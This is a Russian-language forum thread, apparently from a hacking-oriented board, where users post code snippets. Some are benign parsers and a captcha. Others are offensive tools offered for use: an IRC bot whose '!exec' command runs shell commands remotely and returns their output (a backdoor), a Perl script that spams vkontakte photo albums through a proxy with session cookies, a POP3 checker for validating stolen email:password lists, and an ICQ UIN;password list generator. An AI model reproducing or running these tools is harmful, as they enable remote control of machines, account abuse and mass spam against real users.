Вот ещё придумал способ защиты админки или любого скрипта от постаронних глаз, если нету MySQL или того, где бы хранилась информация о админе. Ввод пароля не нужен PHP: <? ... if($REMOTE_ADDR != 'тут.введите.ваш.ip') //не забудьте изменить эту строчку exit('Вы не админ :)'); ... ?> Однако, этот способ не очень безопасный.
Подкиньте скрипт плиз - нужно пропарсить файл по количеству символов в слове, то есть нужен скрипт, который примет на вход файл с текстом (каждое слово с новой строки), а на выходе будeт созданы файлы в которых будут слова с определенным количеством символов - с 6, 7, 8 etc символов perl/php ЗЫ еще вспомнил, нужен второй - обрезать слова частями, то есть нужно обрезать слово на N символов в один файл, а всё что после N слить в другой
PHP: <?php $fp = fopen('file.txt', 'r'); $f = array(); while(!feof($fp)){ $word = rtrim(fgets($fp)); $len = strlen($word); if(!file_exists($len.'.txt') || !$f[$len]){ $f[$len] = fopen($len.'.txt', 'w'); } fwrite($f[$len], $word."\n"); } foreach($f as $k=>$v) fclose($f[$k]); fclose($fp); ?>
По колличеству символов: PHP: <?php $file = file ( 'filename.txt' ); foreach ( $file as $word ) { $word = trim ( $word ); if ( $word == '' ) { continue; } $len = strlen ( $word ); $fo = fopen ( $len . ".txt", "ab" ); fwrite ( $fo, $word . "\r\n" ); fclose ( $fo ); } ?> Разделение слова на части: PHP: <?php $filename = 'filename.txt'; $file = file ( $filename ); $max_len = 10; $main = fopen ( $filename, 'wb' ); foreach ( $file as $word ) { $word = trim ( $word ); if ( $word == '' ) { continue; } $to_main = substr ( $word, 0, $max_len ); $to_add = substr ( $word, $max_len ); fwrite ( $main, $to_main ); if ( $to_add == '' ) { $add = fopen ( 'add.txt', 'ab' ); fwrite ( $add, $to_add ); fclose ( $add ); } } fclose ( $main ); ?>
http://x0.6te.net/rating/ PHP: <? ######################################################## # CODED BY NOMER1... # # Example for script here > http://x0.6te.net/rating/ # # ЭТОТ СКРИПТ ПАРСИТ САЙТ, ОЦЕНИВАЮЩИЙ КАЧ-ВО СОЗДАНИЯ # # ВАШЕГО САЙТА, ДИЗАЙН И ПРОЧЕЕ. СПС =FARAON= ЗА ТО, # # ЧТО ПОДАЛ ИДЕЮ НАПИСАТЬ ЕГО :D ВЫРАЖАЮ БЛАГОДАРНОСТЬ # # ОТ ПИОНЕРСКОЙ ОРГАНИЦИИ ГЛЕБОВСКОГО САВХОЗА, КАК # # ГОВОРИТСЯ... ВООБЩЕМ, ЖДЁМС КОМЕНТАРИЕВ ПО СКРИПТУ.. # # СОРРИ, ЧТО НАПИСАЛ ОЧЕРЕДНОЙ ПАРСЕР, ЩА ПРОСТО НЕТУ # # НОВЫХ ИДЕЙ... СПАСИБО # ######################################################## ?> <html> <body> <head><style> body { padding:10px; background:#2A2E33; font-family:tahoma, verdana, arial; font-size:11px; text-align:left; color:#B9B9BD; } a:link, a:hover, a:visited { color:#B9B9BD; text-decoration: none; } input { vertical-align:middle; margin:1px 0; padding-right:10px; border:1px solid #336600; padding:2px; background:#363940; color:#B9B9BD; } form { padding:10px; padding-left:20px; border:1px solid #666; width:280px; margin:0 auto; } .vstb { padding:10px; padding-left:20px; border:1px solid #666; width:400px; margin:0 auto; } </style> <? if($_GET['url']) { $ps = file_get_contents('http://www.cys.ru/cyber.html?url='.$_GET['url']); $pattern = "#<index>(.*?)</index>#is"; preg_match_all($pattern, $ps, $out, PREG_SET_ORDER); if(!preg_match_all($pattern, $ps, $out, PREG_SET_ORDER)) echo('<title>RaTiNg.SiTe{'.htmlspecialchars($_GET['url']).'}</title><div align="center">Невозможно просмотреть сайт <b>'.htmlspecialchars($_GET['url']).'</b></div>'); foreach($out as $row) { $row[1] = str_replace('<div class="vst">','<center><h2><font color="green">',$row[1]); $row[1] = str_replace('</div> <h1 class="diag">',' ',$row[1]); $row[1] = str_replace('<a href="/','<a href="http://www.cys.ru/',$row[1]); $row[1] = str_replace('</a></h1>','</a></font></h2></center>',$row[1]); $row[1] = str_replace('<img src="/','<img src="http://www.cys.ru/',$row[1]); $row[1] = str_replace('<div class="vstb"><br>Комментарии и пояснения</div>','<div class="vstb"><font color="green">Коментарии и предложения.</font><br><br><div align="left">',$row[1]); $row[1] = str_replace('<div class="otcball">','<h4>',$row[1]); $row[1] = str_replace('</div> <div class="otc">','</h4><h4>',$row[1]); $row[1] = str_replace('<strong>','<b><font color="YellowGreen">',$row[1]); $row[1] = str_replace('</strong> ','</font></b> ',$row[1]); $row[1] = str_replace('</strong></div>','</font>}</b><font color="YellowGreen">',$row[1]); $row[1] = str_replace('</strong><br>','</font>}</b></h4>',$row[1]); $row[1] = str_replace('value="/','value="http://www.cys.ru/',$row[1]); $row[1] = str_replace('action="/','action="http://www.cys.ru/',$row[1]); $row[1] = str_replace('</a>)<br>','</a>)</font><br>',$row[1]); $row[1] = str_replace('предложить поправки</a></center>','предложить поправки</a></center></div>',$row[1]); $row[1] = str_replace('%2F">','%2F" style="color:green;">',$row[1]); $row[1] = str_replace('<img','<img border="0"',$row[1]); $row[1] = str_replace('width="280" height="150"></center>','width="280" height="150"></center><br><br>',$row[1]); $row[1] = str_replace('Результат оценки качества создания сайта','Качество создания сайта',$row[1]); $row[1] = str_replace('Оценка: ','Quality{',$row[1]); $row[1] = str_replace(' баллов',' баллов}',$row[1]); $row[1] = str_replace('Фактор D: ','Фактор D{',$row[1]); $row[1] = str_replace('Место в рейтинге: ','Место<b>{',$row[1]); echo'<title>RaTiNg.SiTe{'.htmlspecialchars($_GET['url']).'}</title> <table align="center" width="400" style="font-size:11px"><div align="left">'.$row[1].'</div></table>'; } } else { ?> <title>RaTiNg.SiTe{}</title> <form method=get style='width:200px;'> Url: <input type='text' name='url'><br>Example, <b>site.ru</b>.<br><br> <center><input type='submit' name='submit'></center> </form> <? } ?> </body> </html>
Обычный граббер текста от тега до тега! PHP: <? $f = file_get_contents('http://mail.ru/index.php'); preg_match_all( '/<b>(.*)<\/b>/iUs' , $f, $matches); echo $matches[0][0]; ?>
типа так #!/usr/bin/perl use LWP::UserAgent; $ua = LWP::UserAgent->new; $res = $ua->get('http://mail.ru/index.php', { 'referer' => '', 'CookieDate' => 1 }); $text = $res->as_string; $text =~s/<a href="(.*)"/$text=$1/gie; так или $text =~s/(.*)gref="//gi; или так $text =~s/"(.*)//gi; print $text;
И что он делает? Он кажется просто выводит весь исходник страницы и не более, а мне надо вывод текста между тегов, к пример как у нас на форуме между тегами Code: <!-- message --> ... <!-- / message -->
IRC бот на питоне Code: #-----------------------------------------------+ # ._____________________. | # Coded by slav0nic | [email protected] | | # ^---------------------^ | # Site: slav0nic.xss.ru | #-----------------------------------------------+ # # #commands: !exit','!port','!version','!exec' #!port [host][port] - check open port #!exec [commend] - exec command import socket import os import sys from random import * from time import * class IRC: def __init__(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.port=6667 self.ch_key='' self.nick = 'slav'+str(randrange(1000)) #bot name self.entermsg='[+]ok' #send msg to chan after connect self.autoentermsg=1 #send self.entermsg self._exec='!exec' #prefix for shell command self.bot_commands=['!exit','!port','!version','!get',self._exec] # self.encoding='1251' #default Russian (encode in you irc client) self.sleep=0.1 #delay between send !exec result lines self.version='0.2' def loop(self): try: self.sock.connect((self.host, self.port)) self.sock.send('NICK %s\r\n' % self.nick) self.sock.send('USER localhost localhost localhost : slavar\r\n') self.sock.send('JOIN %s %s\r\n' % (self.chan,self.ch_key)) if self.autoentermsg: self.__sendprivmsg(self.entermsg) while True: self.res_data = self.sock.recv(1024) print self.res_data #dbg if self.res_data.startswith(':ERROR') or self.res_data.startswith('ERROR'): self.sock.close() print '[-]Serv error' #dbg sys.exit(1) if self.res_data.startswith('PING'): self.sock.send('PONG : PING\r\n') elif self.res_data.find('PRIVMSG')!=-1: msg,msg_type,command,from_=self.__pars_privmsg() print 'msg_type=%s msg=%r cmd=%r'%(msg_type,msg,command)#dbg if (msg_type=="to_user" and command!=''): #this is a bot command if command in self.bot_commands: if command=='!exit': self.__ircexit() self.sock.close() sys.exit(0) elif command=='!version': self.__sendto_user(from_,'Version= \x0303%s'%self.version) elif command=='!exec': stdout=os.popen(msg[(len(command)+1):]) for line in stdout.readlines() : sleep(self.sleep) self.__sendto_user(from_,line) #print line #dbg ## elif command=='!get': ## """DCC SEND will be later ;)""" ## self.__sendto_user(from_,'\x01DCC SEND 123.txt 2130706433 4116 4\x01') #ip to long socket.ntohl(struct.unpack('i',socket.inet_aton('127.0.0.1'))[0]) elif command=='!port': # print '%r %r'%(msg.split()[1],msg.split()[2]) #dbg try: x=self.__check_port(msg.split()[1],msg.split()[2]) except: self.__sendto_user(from_,'\x0304[-]\x0300Error "!port [host] [port]" format') x=-1 if x==1: self.__sendto_user(from_,'\x0303[+]\x0300Port %i Ok'%int(msg.split()[2])) elif x==-1: pass else: self.__sendto_user(from_,'\x0304[-]\x0300Close') elif msg.startswith('\x01DCC SEND'): print 'DCC SEND' #dbg pass else: self.__sendto_user(from_,'\x0304[-]\x0300Unknown command %s'%command) except: print '[-]Error:',sys.exc_value def __ircexit(self): self.sock.send('QUIT :\x0302Go offline\r\n') def __sendprivmsg(self,msg): self.sock.send('PRIVMSG %s :%s\r\n' % (self.chan,msg)) def __sendto_user(self,user,msg): self.sock.send("PRIVMSG %s :%s\r\n"%(user,msg)) def __pars_privmsg(self): msg=self.res_data.split(':',2)[2][:-2] if self.res_data.split(':')[1].split()[2][0]=='#': msg_type='to_chan' else: msg_type= 'to_user' from_= self.res_data.split('!')[0].replace(':','') if msg[0]=='!': command=msg.split()[0].replace('\r\n','') else: command='' return msg, msg_type,command,from_ def __check_port(self,host,port): socktest = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # socktest.settimeout(timeout) try: socktest.connect((host,int(port))) return 1 except: return 0 if __name__ == '__main__': bot = IRC() bot.host = 'irc.lamer.la' #irc server ip (default bot.port=6667) bot.chan = '#chan' bot.ch_key= '' #channel password bot.nick=(socket.gethostname()).replace('.','_')+'_'+str(randrange(10)) # if os.fork(): bot.loop()
Вот как можно защитить регу пользователей вводом кода с картинки (пример) register.php PHP: Antibot Secure:<br><input type='text' name='image'><br>(Введите числа, изображённые на картинке)<br><br> <img src='image.php'><br> ... <? ... if($_COOKIE['PictureCode'] != md5($image)) exit("Код на картинке не совпадает с кодом, написанным вами."); ... ?> image.php PHP: <?php // Получаем псевдослучайное число $rand = rand(10000, 99999); // Получаем его хэш $rv = md5($rand); // Засовываем хэш в куку setcookie ("PictureCode", $rv); // СоздаЈм картинку со светло-серой сеткой на тЈмно-сером фоне $picture = imagecreate (61, 21); $bgcolor = imagecolorallocate($picture, 165, 165, 165); $ntcolor = imagecolorallocate($picture, 200, 200, 200); for ($i=0; $i<=100; $i+=5) imageline($picture, $i, 0, $i, 100, $ntcolor); for ($i=0; $i<=100; $i+=5) imageline($picture, 0, $i, 100, $i, $ntcolor); // Случайный цвет для каждой цифры $fontcolor1 = imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111)); $fontcolor2 = imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111)); $fontcolor3 = imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111)); $fontcolor4 = imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111)); $fontcolor5 = imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111)); // Рисуем на картинке случайное число imagestring($picture, 11, 07, 1, substr($rand,0,1), $fontcolor1); imagestring($picture, 11, 17, 6, substr($rand,1,1), $fontcolor2); imagestring($picture, 11, 27, 1, substr($rand,2,1), $fontcolor3); imagestring($picture, 11, 37, 6, substr($rand,3,1), $fontcolor4); imagestring($picture, 11, 47, 1, substr($rand,4,1), $fontcolor5); // Посылаем заголовки и картинку header("Content-type: image/png"); imagepng($picture); imagedestroy($picture); ?>
Полезный скрипт для вытаскивания индекса цитируемостит сайта: PHP: <?php $url='www.site.ru'; function tic($url) { $pattern = "http://bar-navig.yandex.ru/u?ver=2&show=32&url=http://"; $url = trim($url, '/') . '/'; $url = str_replace('http://', '', $url); $txt = file_get_contents($pattern.$url); preg_match('|<tcy rang="\d*" value="(.*)"/>|', $txt, $out); $cy = (int) $out[1]; return $cy; } $tic=tic($url); echo $tic; ?>
NOmeR1, Помоги переделать под это: http://www.viruslist.com/ru/search?VN= У меня нифига неработает Вот то-что я сделал: PHP: <? if($_GET['virus']) { $file = file_get_contents("http://www.viruslist.com/ru/search?VN=".$_GET['virus']); preg_match_all( '/<table cellspacing=0 cellpadding=0 width=100% height=100% border=0>(.*)<\td colspan=3 height=20><\/td><\/tr>/isU' , $file, $out); echo $out[0][0]; }else{ ?> <title>Virus Lab</title> <form style="width:180px;" method=get style='width:200px;'> Virus: <input type='text' name='virus'><br>Example, <b>Virus.Win32.Gpcode.ai</b>.<br><br> <center><input type='submit'></center> </form> <?}?>
PHP: <? if($_GET['virus']) { $file = file_get_contents("http://www.viruslist.com/ru/search?VN=".$_GET['virus']); preg_match( '/\<\/a\>\<\/b\>\<\/td\>\<\/table\>(.*)\<table(.*?)/is' , $file, $out); echo $out[1]; }else{ ?> <title>Virus Lab</title> <form style="width:180px;" method=get style='width:200px;'> Virus: <input type='text' name='virus'><br>Example, <b>Virus.Win32.Gpcode.ai</b>.<br><br> <center><input type='submit'></center> </form> <?}?>
написал скрипт спамера для сайта vkontakte.ru, так как тас одного акка не отправить более 200 сообщений в сутки, то спамим альбомы, на комментарии к которым нет никаких ограничений, спамит камментом каждую фотку в альбоме, можно изменить чтобы спамил только одну Code: #!/usr/bin/perl ######################## # vkontakte.ru spamer # C!klodoL ######################## #текст сообщения; $text = 'Превед'; #хост прокси $host = 'localhost'; #порт прокси $port = '8118'; #id альбома с которого начать $start = 1000; #куки, remixpass= хэш пароля, remixmid= id, remixemail= мыло $cookie = 'remixedu=0; remixpass=0decadac4aded48a704dfzebadc3ac9; remixfriendsCommon=1; remixmid=1000; remixemail=FljcqdXXDx%40narod.ru; remixgroups=1; remixchk=2'; $text =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; while(1){ system("cls ; clear"); use IO::Socket; $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"$port"); print $sock "GET http://vkontakte.ru/photos.php?act=album&id=$start HTTP/1.0\r\n"; print $sock "Host: vkontakte.ru\r\n"; print $sock "Accept: */*\r\n"; print $sock "Content-Type: application/x-www-form-urlencoded\r\n"; print $sock "Referer: http://vkontakte.ru/\r\n"; print $sock "User-Agent: Internet Explorer 6.0\r\n"; print $sock "Cookie: $cookie\r\n"; print $sock "Connection: close\r\n\r\n"; while ($html=<$sock>){ if ($html=~/photos.php\?act=show&id/gi){ $html=~m/(\d+)/g; $photoid=$1; push @idents, $photoid; }} close ($sock); print "@idents\n"; $mas = @idents; #количество ид фоток в массиве while($mas > 0){ $foto_id = "@idents[$co]"; $uri = "id=$foto_id&act=post&comment=$text"; $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"$port"); print $sock "POST http://vkontakte.ru/photos.php HTTP/1.1\r\n"; print $sock "Host: vkontakte.ru\r\n"; print $sock "Accept: */*\r\n"; print $sock "Content-Type: application/x-www-form-urlencoded\r\n"; print $sock "Content-Length: ".length($uri)."\r\n"; print $sock "Referer: Referer: http://vkontakte.ru/\r\n"; print $sock "User-Agent: Internet Explorer 6.0\r\n"; print $sock "Cookie: $cookie\r\n"; print $sock "Connection: close\r\n\r\n$uri"; while(<$sock>){print <$sock>}; close ($sock); $co++; last if ($co > $mas); print "Comment foto $foto_id\n"; sleep(2); } $start++; @idents=(); $co=0; print "Album number $start is commented\n"; sleep(2); }
Скрипт для чеканья мыла на валидность... на входе mail.txt: [email protected]:пароль Чекает mail.ru, rambler.ru, yandex.ru, list.ru, bk.ru ... и многие другие, где pop сервер лежит по адресу pop.host.ex:110 На выходе в директории скрипта лежит ok.mail и err.mail PHP: ////////////////////////////////////////////////////////// // // // Скрипт для чеканья мыла на валидность! // // Заливаем на Shell скрипт и файл mail.txt // // Формат mail.txt [email protected]:password // // Чекает только мыла, у которых pop3 сервер // // располжен на pop.host.ex:110 // // На выходе создаются 2 файла: // // ok.mail и err.mail // // Created by 5hr4M... // // // ////////////////////////////////////////////////////////// <?php error_reporting(0); $in=fopen("mail.txt","r"); if(!$in) { echo "mail.txt not found...<br>"; exit(); } while(!feof($in)) { $host=''; $str=''; $user=''; $pass=''; $str=fgets($in,128); $pos[1]=strpos($str,'@'); $pos[2]=strpos($str,':'); $host='pop.'.substr($str,$pos[1]+1,$pos[2]-$pos[1]-1); $pos[3]=strpos($host,' '); if ($pos[3]) $host=substr($host,0,$pos[3]); $user=substr($str,0,$pos[1]); $pass=substr($str,$pos[2]+1); connect ($host,$user,$pass); } echo "End<br>"; fclose($in); function connect($host,$user,$pass){ $fp = fsockopen($host, 110, &$errno, &$errstr, 30); fputs($fp,"USER $user\n"); $resp=fgets($fp,1024); if ($resp[0]=='+') { fputs($fp,"PASS $pass\n"); $resp=fgets($fp,1024); if ($resp[0]=='+') { @$out=fopen("ok.mail","a"); $mg=$user . '@' . substr($host,4). ':' . $pass; echo $mg.'<br>'; @fputs($out,$mg); @fclose($out); }else { // echo 'Pass failure'; @$out=fopen("err.mail","a"); $mg=$user . '@' . substr($host,4). ':' . $pass; @fputs($out,$mg); @fclose($out); } }else { //echo 'User failure'; @$out=fopen("err.mail","a"); $mg=$user . '@' . substr($host,4). ':' . $pass; @fputs($out,$mg); @fclose($out); } fputs($fp,"QUIT\n"); $resp=fgets($fp,1024); fclose($fp); } ?>
Генератор uin;pass: PHP: <? if(!empty($_GET["pass"]) && $_GET["uin_start"] && $_GET["uin_end"]) { $uin1=$_GET["uin_start"]; $uin2=$_GET["uin_end"]; $pass=$_GET["pass"]; echo $uin_start.";".$pass."<br>"; for ($i = 0; $i <= $uin2-2; $i++) { $uin_start++; echo $uin_start.";".$pass."<BR>"; } } else{ ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <title>Uin;pass generator! </title> </head> <body><center> <table width="350" height="288" border="0"> <tr> <td height="56"><center> Uin;pass generator! </center> </td> </tr> <tr> <td><center> <form method="get" action="?"> <p><fieldset><legend>Настройка</legend>Начальный номер: <input type="text" name="uin_start" /> </p> <p>Конечный номер: <input type="text" name="uin_end" /> </p> <p>Пароль: <input type="text" name="pass" /> </p> <p> <input type="submit" value="Генирировать" /> </fieldset></p> </form> </center> </td> </tr> </table> </center> </body> </html> <? } ?>